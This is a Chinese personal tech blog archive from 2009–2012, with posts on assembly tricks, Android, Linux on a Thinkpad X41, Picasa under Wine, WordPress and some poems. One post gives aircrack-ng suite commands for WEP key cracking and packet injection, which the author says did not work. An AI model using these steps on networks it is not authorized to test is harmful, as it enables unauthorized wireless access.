搜索此博客

2012年9月5日星期三

Jump to uncertain (run-time determined) address in assembly language

Sometimes I want program to jump to uncertain (run-time determined) address like function pointer does in C language. For example, a function table. If the chip supports "jsr" with register indirect addressing, like H8, it will be as simple as
    jsr   @er0
But on the core I am using called "Flex RISC", 8bit, performs as peripheral device in an ARM based SoC, thers is only one "jsr" instruction which using immediate addressing. Branch instructions (brXX) and jmp instruction do the same.
At last I found there is another instruction changes PC pointer, "rts". It pop PC point from stack. So here is the way out:
    ...
; variable SomeAddr keeps SomeFunc's sddress
    ld     a1, SomeAddr
    ld     a2, SomeAddr + 1
    jsr    CallByAddr
    ...

SomeFunc:
    ...
    rts          ; this "rts" will exactly returns from the "jsr".

CallByAddr:
    psh    a2
    psh    a1
    rts          ; this "rts" will pop a2a1 to PC that makes SomeFunc called.

Android App 开除相册

Android自带相册会把机器里所有包含图片视频的文件夹都收录进去,除非那个文件夹包含“.nomedia”——一个隐藏文件。我的Nexus S就是这样,XOOM如果刷成美版也会。
这个“开除相册”就是把不希望相册自动收录的文件夹从相册中开除出去。

半成品,连个图标都还没有呢。
ListView上用的是SimpleAdpter,重写麻烦。重载了getView方法,这是ListView向Adpter要View(list item)时调的。我把序号写进那个View的tag里了。这样check/uncheck的时候好让CheckBox知道更新Map里哪个数据。
Check/uncheck的响应函数在SimpleAdpter.ViewBinder里,ViewBinder负责把Map里的数据反映到list item上。重载ViewBinder的setViewValue方法,这里能找到CheckBox对象,改它的Listener。

2011年7月17日星期日

X41任务之Reloaded

草稿
1. dock/undock
  ultrabase
    /sys/module/acpi/parameters/immediate_undock
    /etc/modprobe.d/myfilename.conf - options dock immediate_undock=0
  ultrabay
usb devices
2. suspend to disk
dock/undock when suspended
3. wireless sometimes assign to eth0 (done)
 udev rules
4. xdg-open
5. picasa 3.8 for linux (done)
 use wine version
6. ... ...

2011年6月1日星期三

二渡日本

而立而不立,
舍妻别儿去。
志高偏逢蹇,
难筑安身地!

原发事不清,
仕事途未明。
未怀夺人技,
安得顾庐情!

严慈唤儿归,
膝下双泪垂。
新妆眉不展,
几时常依偎。

一心陈七味,
两难吞鸡肋。
三思尤未绝,
四鼓不能寐!

四世同堂欢,
天伦正当圆。
胡不全亲孝,
妻儿共相牵!

于2011.6.1凌晨,

2011年5月29日星期日

Linux世界地图,付翻译


红冠联邦 (Redhat)
移根山 (chroot)
GPL海
RPM海峡
摩比邻联邦 (Moblin)
牛洋 (GNU)
飞渡拉独立共和国 (Fedora)
米果岛 (Meego)
斯拉奎王国 (Slackware)
油泥地 (Unity)
圣徒西亚 (CentOS)
安卓海
克兰邦公国 (CrunchBangLinux)
科学群岛
林纳斯湾
范海 (Canonical)
大编 (Compile)
亚科兰 (Arch)
法轮湾 (ChakraLinux)
泯涕之地 (Mint)
哥诺母山 (Gnome)
大乌斑图共产帝国
迷途大漠 (Noob)
真途禁地 (Gentoo)
晋权角 (sudo)
沙巴永海 (SabayonLinux)
曼垂沃兰 (Mandrival)
PCLINUXOS海
朱斑提亚 (Xubuntu)
马克群岛 (?)
福斯海峡 (?)
德宾共和国 (Debian)
酷斑图斯坦 (Kubuntu)
太阴斯坦 (MoonOS)
蜥蜴岛 (Gecko)
素子湖 (SuSE)
KDE海
吧嗒斯坦 (PardusLinux)
平盖斯坦 (PinguyOS)
初之邦 (ElementaryOS)
尊德罗斯圣国 (Xandros)
麦比西亚 (MepisLinux)
斯托曼海

2011年4月4日星期一

装X没有好下场

装X没有好下场之一
BYTE buff[20];


buff[0] = CMD_SOME_CMD;
buff[1] = PARAM1;
buff[2] = PARAM2;
*(WORD*)(buff + 3) = (WORD)PARAM3;


SndCmd(buff, 5);

有问题吗?没有,我拿GCC试过的,PARAM3正确的写到buff + 3的空间里了。但是我现在项目用的CPU上就有问题,奇数地址不能以WORD访问,结果PARAM3被写到buff + 2里去了。

装X没有好下场之二
寄存器清0要怎么清?xor.b r0l, r0l或者是sub.b r0l, r0l,而不是mov.b #0, r0l。理由是好像xor或者sub要比mov短,消耗CPU周期也少。而且mov不想影响状态寄存器。可是那是X86。现在用的CPU根本不是那么回事。用xor.b和用mov.b都是俩字节,一个周期。而且mov照样影响状态寄存器。

装X没有好下场之三
最近发现很多从前常用的写法,自以为是优化了,其实是给编译器填麻烦。本来人家编译器能自己优化的,让我给整乱套了。

2011年1月16日星期日

Picasa 3.8 for Linux

作为一个习惯把一切都托付给Google的网民(这不是什么明智的选择,我知道,但是已经习惯了),我能容许自己错过Picasa吗?然而时至今日,Picasa for Linux最高版本依然是3.0 beta。Windows版已经是3.8了啊。我想用Picasa for Linux,而且我想用3.8。3.8比3.0有什么新功能吗?不知道,肯定是有的吧?
Picasa for Linux并不是原生Linux程序,她是Wine的。那我Wine一个3.8的P4W再拿整个目录覆盖掉P4L的不久行了吗?说起来简单,实际上么,好像也就这么简单。那么我直接用Wine的P4W不就行了,有什么不同?不知道,我就是没想那么用。

  1. 下载P4W 3.8,装上
  2. 下载P4L 3.0 beta,装上
  3. cp -r ~/.wine/drive_c/Program Files/Google/Picasa3 ~/.google/picasa/3.0/drive_c/Program\ Files/Google/
妥了,跑下看看吧。好么?不好,没汉字!P4L带了一个字体配置工具,只要配置一下字体Link就行了。给Tahoma加一个中文字体的Link。看看,好了吧。
常用的功能都没有啥问题。位置标签不能用,打开会死。kill掉Picasa.exe,重新再起动,依然死。解决方案:
  1. 打开~/.google/picasa/3.0/user.reg,搜索active_metadata_tab。
  2. 把该行等号后面的引号里面的内容清空。存退。
  3. 妥了
这回真妥了。真妥了?毛病肯定是有的,不然官方为什么不出呢,既然这么简单?

2010年12月23日星期四

X41装完Ubuntu后必装软件备忘

排名不分先后
  • aptitude
  • tp-smapi-dkms
  • chromium
  • picasa
  • wine
  • vim
  • w32codec
  • gpointing-device-settings
  • amule
不定期更新中……

2010年6月11日星期五

给我的Blogger备忘录加一个Favicon

先发一篇文章,贴上favicon。
然后,设计->修改HTML,在前加入下面的代码。“YOUR-FAVICON-URL”要替换成上传后的favicon的URL。
<link href="YOUR-FAVICON-URL" rel="icon" type="image/vnd.microsoft.icon"/>

2010年5月14日星期五

导出Thunderbird邮件到Outlook


  1. 找一个IMAP服务器,或者在自己机器上建一个。

  2. 为Thunderbird配置这个IMAP服务器。

  3. 把要导出的邮件上传到服务器上。拖过去就行了。

  4. 为Outlook配置这个IMAP服务器。

  5. 把要导入的邮件下载到Outlook。拖过来就行了。


理论上任何邮件客户端之间可以随便导,而且不怕乱码。

2010年3月14日星期日

用FreeMind画思维导向图

这软件是Java做的,链接:http://freemind.sourceforge.net/。说实话我不知道啥叫思维导向图,不过我还是画了一个。买DV是一件很复杂的事情吗?不复杂吗?复杂吗……


那买电视呢?

2010年1月15日星期五

我还能记得鲁迅的诗?

运交华盖欲何求
未敢翻身已碰头
暮蜷蜗居梦楼市
朝蹬铁驴涉车流
有心尽斥千夫指
无奈仍为河蟹囚
蹲在鸡腹听盛世
不知人间几春秋

2009年11月14日星期六

“三打白骨精”对“五烧红花肉”

早上老婆说突然很想吃“五烧红花肉”,我直接联想到“三打白骨精”了。对仗还挺工整的呢!

2009年11月6日星期五

Auto Highslide插件

原来用的Lightbox插件一直有问题,所以就选了这个。用Auto Highslide的理由和我用Lasyest Gallery一样——简单,“发射后不管”。

对Auto Highslide做了些修改:

  • filter的优先级降低到20,也不知道够不够低。反正这样可以和Lasyest Gallery配合了。

  • Highslide JS替换为官方gallery版。


很喜欢Highslide效果,漂亮。

2009年11月5日星期四

面碱和面起子

居然有人不知道什么是面碱什么是面起子的?

  • 碱:又叫面碱、大碱、苏打。成分碳酸钠(Na2CO3)。

  • 面起子:又叫小苏打、重曹(日语?)。成分碳酸氢钠(NaHCO3)。


不过好像听说有的地方管面肥叫面起子的。

2009年10月16日星期五

我的WordPress

安装


安装很简单,我注册的Xtreemhost直接可以安装WordPress。我装在/blog下了。

升级


比较麻烦了,自动升级说找不到WordPress的根目录。Google了一下找到解决方法。在/blog/wp-config.php中加入
/** For update error **/
if ( is_admin ( ) ) {
add_filter ('filesystem_method', create_function('$a', 'return "direct";' ) );
define ( 'FS_CHMOD_DIR', 0751 );
}

汉化


网上找到的中文包,上传到/blog/wp-content/languages。然后修改/blog/wp-config.php中的“WPLANG”定义
define ('WPLANG', 'zh_CN');

就好了。

中文乱码


进入Xtreemhost的管理界面,把MySQL里WordPress那些表都改成UTF8的,OK了。

从Blogger导入


WordPress自带的导入总是超时,用了http://blogger2wordpress.appspot.com/这个网站把Blogger的导出xml转换成WordPress用的xml就好了

2009年10月15日星期四

[Thinkpad X41/Ubuntu Karmic/2.6.31 kernel]破解WEP,失败

下载


在网上下载了ieee80211-1.2.18、ipw2200-1.2.1以及他们的inject patch。

编译


sudo make;
sudo make install

编译时出现了问题,说struct net_device没有叫做hard_start_xmit的成员。调查了一下,原来这个东西在我用的2.6.31内核上已经换了地方了。
struct net_device
{
……
const struct net_device_ops *netdev_ops;
//现在那个hard_start_xmit在这个成员里
……
};

struct net_device_ops
{
……
netdev_tx_t (*ndo_start_xmit) (struct sk_buff *skb, struct net_device *dev);
//而且还改了名字
……
};

ieee80211和ipw2200的source里边有很多类似的地方,原来struct net_device里面的东西,现在又封装了一层。

改好了以后还是不过,这回说有个的东西叫proc_net没有定义。网上搜了一下据说要改成init_net.proc_net。一样还是有多处。

再编译还是不过,这回是SET_MODULE_OWNER没有定义。网上说直接干掉。

OK了这回。

破解


据说关键在于要让网卡在key off状态下保持与AP的关联。
sudo modprob –r ipw2200
sudo modprob ipw2200 rtap_iface=1 channel=[CHANNEL]

sudo iwconfig [ethX] essid [ESSID] key [s:ANY-KEY] mode managed
sleep 3
sudo iwconfig [ethX] key off

sudo airodum-ng --ivs -c [CHANNEL] -i [rtapX] -w [CAP_FILE]

sudo aireplay-ng -3 -b [BSSID] -h [MAC] -i [rtapX] [ethX]

sudo aircrack-ng [CAP_FILE]*

好像依然不能注入攻击。一个AP抓不到IVS,另一个20小时才两万。

2009年10月8日星期四

老沈阳的城门

抚近门(大东门)
怀远门(大西门)

内治门(小东门)
外攘门(小西门)

德盛门(大南门)
福胜门(大北门)

天佑门(小南门)
地载门(小北门)

2009年8月7日星期五

Dos/Mac文本文件转换成Unix格式

sed –e'$!s/\r$//g' –e's/\r/\n/g' -i filename

有个问题,Dos格式转换完最后一行会有两个“\n”。如果去掉“$!”的话,Mac格式就有问题了,最后一行没有“\n”。

2009年8月5日星期三

Wine运行Fallout2真慢!

慢,鼠标还不太正常。

X的色深改成16就好了,不慢了。鼠标还是怪。而且X的鼠标光标还在屏幕上!繁体补丁打上以后乱码,XP上不乱的呀!打上高分补丁后又剧慢!算了,不折腾了,正经玩吧。